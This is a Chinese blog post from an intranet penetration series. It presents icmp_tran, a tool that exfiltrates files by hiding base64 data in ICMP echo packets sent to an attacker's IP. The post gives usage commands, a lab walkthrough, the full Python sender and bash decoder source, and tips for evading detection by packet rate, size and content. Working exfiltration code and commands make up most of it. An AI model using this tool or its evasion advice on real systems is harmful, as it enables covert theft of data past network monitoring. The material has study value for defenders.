当前位置:网站首页>内网渗透系列:内网隧道之icmp_tran
内网渗透系列:内网隧道之icmp_tran
2022-04-23 06:30:00 【思源湖的鱼】
目录
前言
本文研究ICMP隧道的一个工具,icmp_tran
github:github.com/NotSoSecure/icmp_tunnel_ex_filtrate
一、概述
1、简介
最后更新于2015年,用Python编写,将文件base64编码后,通过ICMP包传输
条件:
- 目标机可以ping出去
- 目标机管理员权限
2、原理
ICMP隧道原理参见:内网渗透系列:内网隧道之ICMP隧道
3、使用
(1)服务端
tucpdump监听并下载文件
sudo tcpdump -i eth0 icmp and icmp[icmptype]=icmp-echo -XX -vvv -w output.txt
运行sh脚本
./tran.sh
(2)客户端
windows
icmp_tran.exe <file> <attacker-IP>
linux
sudo python icmp_tran.py <file> <attacker-IP>
二、实践
1、场景
攻击机(服务端):kali 192.168.10.128
目标机(客户端):ubuntu 192.168.10.129
目标机可以ping通攻击机
2、建立隧道
(1)攻击机监听
tucpdump监听并下载文件
sudo tcpdump -i eth0 icmp and icmp[icmptype]=icmp-echo -XX -vvv -w output.txt
(2)目标机发送
准备一个test.zip文件
建立隧道发送
sudo python icmp_tran.py test.zip 192.168.10.128
(3)攻击机转换
收到文件
进行转换
成功得到zip文件
3、抓包看看
可以看到都是ICMP包,data里是base64编码
三、探索
1、源码与分析
(1)icmp_tran.py
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
import time
import socket
import struct
import select
import random
import asyncore
import os
import sys
ICMP_ECHO_REQUEST = 8
TIME_OUT = 1 #时长视情况而定
ICMP_CODE = socket.getprotobyname('icmp')
ERROR_DESCR = {
1: ' - Note that ICMP messages can only be sent from processes running as root.',
10013: ' - Note that ICMP messages can only be sent by users or processes with administrator rights.'
}
__all__ = ['create_packet', 'send_packet', 'verbose_ping', 'PingQuery', 'multi_ping_query']
def checksum(source_string):
sum = 0
count_to = (len(source_string) / 2) * 2
count = 0
while count < count_to:
this_val = ord(source_string[count + 1])*256+ord(source_string[count])
sum = sum + this_val
sum = sum & 0xffffffff
count = count + 2
if count_to < len(source_string):
sum = sum + ord(source_string[len(source_string) - 1])
sum = sum & 0xffffffff
sum = (sum >> 16) + (sum & 0xffff)
sum = sum + (sum >> 16)
answer = ~sum
answer = answer & 0xffff
answer = answer >> 8 | (answer << 8 & 0xff00)
return answer
def create_packet(id):
"""构建一个echo request packet"""
# header的构造是type (8), code (8), checksum (16), id (16), sequence (16)
header = struct.pack('bbHHh', ICMP_ECHO_REQUEST, 0, 0, id, 1)
data = "$$START$$"+line
my_checksum = checksum(header + data)
header = struct.pack('bbHHh', ICMP_ECHO_REQUEST, 0, socket.htons(my_checksum), id, 1)
return header + data
def send_packet(dest_addr, timeout=TIME_OUT):
# 确认能发送
try:
my_socket = socket.socket(socket.AF_INET, socket.SOCK_RAW, ICMP_CODE)
except socket.error as e:
if e.errno in ERROR_DESCR: # 不是高权限
raise socket.error(''.join((e.args[1], ERROR_DESCR[e.errno])))
raise
try:
host = socket.gethostbyname(dest_addr) # host
except socket.gaierror:
return
# 创建packet
packet_id = int((id(timeout) * random.random()) % 65535)
packet = create_packet(packet_id)
# 发送packet
while packet:
sent = my_socket.sendto(packet, (dest_addr, 1))
packet = packet[sent:]
delay = receive_packet(my_socket, packet_id, time.time(), timeout)
my_socket.close()
return delay
def receive_packet(my_socket, packet_id, time_sent, timeout):
time_left = timeout
while True:
ready = select.select([my_socket], [], [], time_left)
if ready[0] == []: # Timeout
return
time_received = time.time()
rec_packet, addr = my_socket.recvfrom(1024)
icmp_header = rec_packet[20:28]
type, code, checksum, p_id, sequence = struct.unpack('bbHHh', icmp_header)
if p_id == packet_id:
return time_received - time_sent
time_left -= time_received - time_sent
if time_left <= 0:
return
def verbose_ping(dest_addr, timeout=2*TIME_OUT, count=1):
for i in range(count):
print('ping {}...'.format(dest_addr))
delay = send_packet(dest_addr, timeout)
if delay == None:
print('failed. (Timeout within {} seconds.)'.format(timeout))
else:
delay = round(delay * 1000.0, 4)
print('get ping in {} milliseconds.'.format(delay))
print('')
class PingQuery(asyncore.dispatcher):
def __init__(self, host, p_id, timeout=0.5, ignore_errors=False):
asyncore.dispatcher.__init__(self)
try:
self.create_socket(socket.AF_INET, socket.SOCK_RAW, ICMP_CODE)
except socket.error as e:
if e.errno in ERROR_DESCR:
raise socket.error(''.join((e.args[1], ERROR_DESCR[e.errno])))
raise
self.time_received = 0
self.time_sent = 0
self.timeout = timeout
self.packet_id = int((id(timeout) / p_id) % 65535)
self.host = host
self.packet = create_packet(self.packet_id)
if ignore_errors:
self.handle_error = self.do_not_handle_errors
self.handle_expt = self.do_not_handle_errors
def writable(self):
return self.time_sent == 0
def handle_write(self):
self.time_sent = time.time()
while self.packet:
sent = self.sendto(self.packet, (self.host, 1))
self.packet = self.packet[sent:]
def readable(self):
if (not self.writable()
and self.timeout < (time.time() - self.time_sent)):
self.close()
return False
return not self.writable()
def handle_read(self):
read_time = time.time()
packet, addr = self.recvfrom(1024)
header = packet[20:28]
type, code, checksum, p_id, sequence = struct.unpack("bbHHh", header)
if p_id == self.packet_id:
self.time_received = read_time
self.close()
def get_result(self):
if self.time_received > 0:
return self.time_received - self.time_sent
def get_host(self):
return self.host
def do_not_handle_errors(self):
pass
def create_socket(self, family, type, proto):
sock = socket.socket(family, type, proto)
sock.setblocking(0)
self.set_socket(sock)
self.family_and_type = family, type
def handle_connect(self):
pass
def handle_accept(self):
pass
def handle_close(self):
self.close()
def multi_ping_query(hosts, timeout=TIME_OUT, step=512, ignore_errors=False):
results, host_list, id = {
}, [], 0
for host in hosts:
try:
host_list.append(socket.gethostbyname(host))
except socket.gaierror:
results[host] = None
while host_list:
sock_list = []
for ip in host_list[:step]: #step最多是512
id += 1
sock_list.append(PingQuery(ip, id, timeout, ignore_errors))
host_list.remove(ip)
asyncore.loop(timeout)
for sock in sock_list:
results[sock.get_host()] = sock.get_result()
return results
if __name__ == '__main__':
msg = 'missing mandatory options. Execute as root:\n'
msg += './icmpsh-m.py <source IP address> <destination IP address>\n'
print(msg)
file=sys.argv[1]
destination = sys.argv[2]
# os.system("certutil -encode "+ file +" test.txt") # windows
os.system("base64 "+ file +" > test.txt") # linux
f=open("test.txt", "r")
for line in f:
text1= line[0:32]
verbose_ping(destination)
host_list = [destination]
for host, ping in multi_ping_query(host_list).iteritems():
print(host, '=', ping)
(2)tran.sh
就是base64解码得到文件
#!/bin/bash
strings output.txt >> output1.txt
echo "[+] parsing the output.txt file"
grep -i start output1.txt | uniq >> transmitted.txt
sed -i -e 's/\$\$START\$\$//g' transmitted.txt
echo "[+] cleaning"
rm output1.txt
rm output.txt
echo "[+] tranmistted.txt created"
cat transmitted.txt |base64 -d >>test
echo "[+] file test created"
2、检测与绕过
(1)异常ICMP数据包数量
0.01s内10个包,当然这是没有做相关策略,可以改为和ping一样的间隔,主要是这是传个文件就结束了,所以maybe可以天下武功唯快不破,视情况而定
(2)异常ICMP包长度
已经做了拆分
(3)payload内容
payload内容这个还是没办法避免的事情
正常ping命令:
windows系统下ping默认传输的是:abcdefghijklmnopqrstuvwabcdefghi,共32bytes
linux系统下,ping默认传输的是48bytes,前8bytes随时间变化,后面的固定不变,内容为!”#$%&’()+,-./01234567
内容肯定还是与正常ping命令不同
不过send和receive的内容相同
结语
简单试下怎么传文件
版权声明
本文为[思源湖的鱼]所创,转载请带上原文链接,感谢
https://fishpond.blog.csdn.net/article/details/118999155
边栏推荐
- Nodejs (I) event driven programming
- NodeJS(六) 子进程操作
- ES6 uses recursion to implement deep copy
- 一文了解系列,对web渗透的常见漏洞总结(持续更新)
- 庄懂的TA笔记(七)<Lambert+Phong+Shadow+3EvColor+AO>
- Dropping Pixels for Adversarial Robustness
- 事件管理之一
- Robust and Efficient Quadrotor Trajectory Generation for Fast Autonomous Flight
- Nodejs (VI) sub process operation
- Houdini流体>>粒子流体导出到unity笔记
猜你喜欢
Online Safe Trajectory Generation For Quadrotors Using Fast Marching Method and Bernstein Basis Poly
【NLP笔记】CRF原理初探
Houdini fluid > > particle fluid export to unity note
[NLP notes] preliminary study on CRF principle
Use of command line parameter passing library argparse
对复杂字典Dictionary&lt;T1,T2&gt;排序问题
VBA calls SAP RFC to read & write data
VBA appelle SAP RFC pour réaliser la lecture et l'écriture des données
Houdini流体>>粒子流体导出到unity笔记
SQL针对字符串型数字进行排序
随机推荐
IDEA快捷键
关于U盘数据提示RAW,需要格式化,数据恢复笔记
Electronic builder package error: proxyconnect TCP: Dial TCP: 0: connectex
The projection vector of a vector to a plane
Using lambda expression to solve the problem of C file name sorting (whether it is 100 or 11)
VBA调用SAP RFC实现数据读取&写入
Complete color conversion formulas and conversion tables (31 kinds)
KCD_EXCEL_OLE_TO_INT_CONVERT报错SY-subrc = 2
事件系统(二)多播事件
STO With Billing 跨公司库存转储退货
Nodejs (VI) sub process operation
Nodejs (I) event driven programming
Online Safe Trajectory Generation For Quadrotors Using Fast Marching Method and Bernstein Basis Poly
VBA調用SAP RFC實現數據讀取&寫入
一些靶场的学习记录:sqli-labs、upload-labs、XSS
How to present your digital portfolio: suggestions from creative recruiters
SampleCameraFilter
大学学习路线规划建议贴
ES6 uses recursion to implement deep copy
FUEL: Fast UAV Exploration using Incremental Frontier Structure and Hierarchical Planning